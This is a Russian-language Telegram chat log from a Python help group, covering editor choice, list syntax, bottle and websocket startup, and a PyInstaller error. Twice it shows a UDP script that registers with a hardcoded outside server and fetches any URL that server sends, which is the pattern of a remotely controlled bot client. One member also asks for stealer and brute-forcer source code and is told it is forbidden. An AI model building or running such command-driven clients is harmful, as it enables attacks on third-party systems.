
Iurii
18.10.2018
17:03:34
hi

Moon
18.10.2018
17:09:21
hello anglichanam

Александр
18.10.2018
17:19:25
Привет ребят а есть форум тематики питон?

Denis
18.10.2018
17:21:17
Чат в телеге подойдет?

Google

Georgy
18.10.2018
17:41:43
Решил писать в Sublime3, мучаюсь весь день, не могу сделать запуск кода(

Kallibr44
18.10.2018
17:42:19
народ всем привет, есть кто с pyinstaller под вин7 работал?

Georgy
18.10.2018
17:42:22
То в одних способах не работает ввод данных, то в другом виде вообще мрак

Kobe
18.10.2018
17:42:57

Kallibr44
18.10.2018
17:43:01
уже чисто для тестов тоже собрал обычную "здоровалку"
но он и её не компилит с этой ошибкой

Arnie
18.10.2018
17:44:13
Вряд ли там просто здоровалка

Georgy
18.10.2018
17:44:35
Есть что попроще sublime с темным интерфейсом и подсветкой синтаксиса?

Andrei
18.10.2018
17:44:57
а исходники показать?

Kallibr44
18.10.2018
17:45:01
print("hello")
input()
)))

Google

Andrei
18.10.2018
17:45:53
там где "не здоровалка"


Kallibr44
18.10.2018
17:46:16
import requests,time,threading,os,sys,socket
def GetMyIP():
from netifaces import interfaces, ifaddresses, AF_INET
for ifaceName in interfaces():
addresses = [i['addr'] for i in ifaddresses(ifaceName).setdefault(AF_INET, [{'addr': 'No IP addr'}])]
for address in addresses:
if (address != 'No IP addr') and (address != '127.0.0.1'):
adres = (str(addresses)[2:-2])
return adres
clients = []
host = GetMyIP()
port = 0
s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s1.bind((host, 9090))
s1.setblocking(0)
#s2=исходящий сокет
s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s2.bind((host,0))
s1.setblocking(0)
shutdown = False
server = [('82.146.44.4', 9090),]
print("IP: " + str(host))
def check_user(ip):
global clients
check = 0
for i in clients:
if i[0] == ip[0]:
check = 1
if check == 0:
clients.append(ip)
else:
pass
def ttb(string):
return bytes(string, encoding='utf-8')
def receving(sock):
global shutdown,exit
while shutdown == False:
try:
global clients
while True:
#ниже обработка входящих сообщений
all_data = bytearray()
while len(all_data) == 0:
try:
data, addr = sock.recvfrom(2048)
if addr[0] != host:
check_user(addr)
if not data:
break
all_data = all_data + data
except:
pass
if addr[0] != host:
print("Запрос от "+str(addr) + " " + str(data.decode("utf-8")))
data = data.decode("utf-8")
data = data.split("::")
threading.Thread(target=sort_data, args=(data, addr,sock,)).start()
except KeyboardInterrupt:
shutdown = True
except:
pass
exit = 1
def sort_data(data,addr,sock):
global clients
if data[0] == "command":
requests.get(data[1])
elif data[0] == "check":
sock.sendto(ttb("ok"),addr)
def init():
s2.sendto(ttb("add::"),server[0])
threading.Thread(target=receving, args=(s1,)).start()
threading.Thread(target=receving, args=(s2,)).start()
init()
while True:
try:
pass
time.sleep(5)
except KeyboardInterrupt:
s1.close()
s2.close()
sys.exit(0)


Andrei
18.10.2018
17:46:21
ебать
на пастебин
надо лить
а не сюда

Kobe
18.10.2018
17:46:29
так нету же q.py

Даниил
18.10.2018
17:46:33
Всем привет. Подскажите либы или репы питоновские близкие к администрированию Linux - установка пакетов, настройка сервисов и т.д. (кроме ansible),про винду тоже интересно будет. В инете слишком много всего.

Kallibr44
18.10.2018
17:46:40

Kobe
18.10.2018
17:46:57
ну даже dir показывает что нету
втф

Kallibr44
18.10.2018
17:47:01
* у меня провайдер слишком умный, на пастбин у меня нету доступа
а не сюда
ммм

Kobe
18.10.2018
17:47:21

Kallibr44
18.10.2018
17:47:25
он стер файл
ща

Nikolay
18.10.2018
17:47:58

Kallibr44
18.10.2018
17:48:22

Google

Kallibr44
18.10.2018
17:48:25
q.py это здоровалка
вот что ему надо
может быть ему питон слишком молодой?
у меня 3.7

Nikolay
18.10.2018
17:49:06
Здоровалка не работает


Маришка
18.10.2018
17:49:06
import requests,time,threading,os,sys,socket
def GetMyIP():
from netifaces import interfaces, ifaddresses, AF_INET
for ifaceName in interfaces():
addresses = [i['addr'] for i in ifaddresses(ifaceName).setdefault(AF_INET, [{'addr': 'No IP addr'}])]
for address in addresses:
if (address != 'No IP addr') and (address != '127.0.0.1'):
adres = (str(addresses)[2:-2])
return adres
clients = []
host = GetMyIP()
port = 0
s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s1.bind((host, 9090))
s1.setblocking(0)
#s2=исходящий сокет
s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s2.bind((host,0))
s1.setblocking(0)
shutdown = False
server = [('82.146.44.4', 9090),]
print("IP: " + str(host))
def check_user(ip):
global clients
check = 0
for i in clients:
if i[0] == ip[0]:
check = 1
if check == 0:
clients.append(ip)
else:
pass
def ttb(string):
return bytes(string, encoding='utf-8')
def receving(sock):
global shutdown,exit
while shutdown == False:
try:
global clients
while True:
#ниже обработка входящих сообщений
all_data = bytearray()
while len(all_data) == 0:
try:
data, addr = sock.recvfrom(2048)
if addr[0] != host:
check_user(addr)
if not data:
break
all_data = all_data + data
except:
pass
if addr[0] != host:
print("Запрос от "+str(addr) + " " + str(data.decode("utf-8")))
data = data.decode("utf-8")
data = data.split("::")
threading.Thread(target=sort_data, args=(data, addr,sock,)).start()
except KeyboardInterrupt:
shutdown = True
except:
pass
exit = 1
def sort_data(data,addr,sock):
global clients
if data[0] == "command":
requests.get(data[1])
elif data[0] == "check":
sock.sendto(ttb("ok"),addr)
def init():
s2.sendto(ttb("add::"),server[0])
threading.Thread(target=receving, args=(s1,)).start()
threading.Thread(target=receving, args=(s2,)).start()
init()
while True:
try:
pass
time.sleep(5)
except KeyboardInterrupt:
s1.close()
s2.close()
sys.exit(0)
ололо, найс проверки на лупбек. напишу я 127.1 и этот айпишник будет работать прекрастно


Kallibr44
18.10.2018
17:49:54
мне главное что это работает
это просто наброски

Маришка
18.10.2018
17:51:04

megapro17
18.10.2018
17:51:05
>>> a = ["fir","sec"]
>>> b = ["th", "fou"]
>>> c = [a,b]
можно ли как нибудь подобный словарь в словаре записать одной строчкой?

Kallibr44
18.10.2018
17:51:23

Маришка
18.10.2018
17:51:26

megapro17
18.10.2018
17:51:42
А, лист
Путаю их постоянно
Список

Kallibr44
18.10.2018
17:52:06
к примеру

Google

Nikolay
18.10.2018
17:53:32
import list

Kallibr44
18.10.2018
17:54:24
хы
я разобрался
pip uninstall enum34

Admin
ERROR: S client not available

Kallibr44
18.10.2018
18:00:58
и проблем нету)))

megapro17
18.10.2018
18:02:30
как тот бот называетвся
который код исполняет

Kallibr44
18.10.2018
18:02:57
?

Маришка
18.10.2018
18:04:01

megapro17
18.10.2018
18:04:14

?? Eugene
18.10.2018
18:04:46

megapro17
18.10.2018
18:05:00

Denis
18.10.2018
18:07:05
Ночью кодят, глазки устают

Александр
18.10.2018
18:08:26
Ребят есть у кого исходники брутов парсеров чекеров, стиллеров? Или тут запрещёно это?

Nikolay
18.10.2018
18:08:28
У меня всегда был темный фон

Kobe
18.10.2018
18:08:35
запрещено

Eugene
18.10.2018
18:09:09
Парни, а есть спецы по созданию и упаковке desktop-апп на Питончиге?

?? Eugene
18.10.2018
18:09:10
Парсеры-то чем плохи

Google

Nikolay
18.10.2018
18:09:14
Не хочу с кем-то делить надоеное

Александр
18.10.2018
18:09:58

Kobe
18.10.2018
18:09:59
ну в парсерах и чекерах вроде ничего плохого, а вот на счёт брутов и стиллеров...)

Nikolay
18.10.2018
18:10:18

?
18.10.2018
18:12:04
чот хакеров развелось?

Александр
18.10.2018
18:12:28

Aragaer
18.10.2018
18:12:45
украл, выпил - в тюрьму
дальше питон изучать

Kobe
18.10.2018
18:13:01

?? Eugene
18.10.2018
18:13:10

megapro17
18.10.2018
18:13:44

Denis
18.10.2018
18:16:07
Привет, такая проблема нужно из main запустить и bottle.run() и wsserver.serve_forever(), но все это останавливается на bottle.run и вебсокет не стартует, подскажите как это правильо асинхронно запустить ?

?? Eugene
18.10.2018
18:17:01
А как ты запускаешь?

Denis
18.10.2018
18:17:45
подряд
bottle.run()
ws.serve_forever()

?? Eugene
18.10.2018
18:18:46
Я ботл не трогал, но если там обычные корутины - оберни обе в gather и авейти его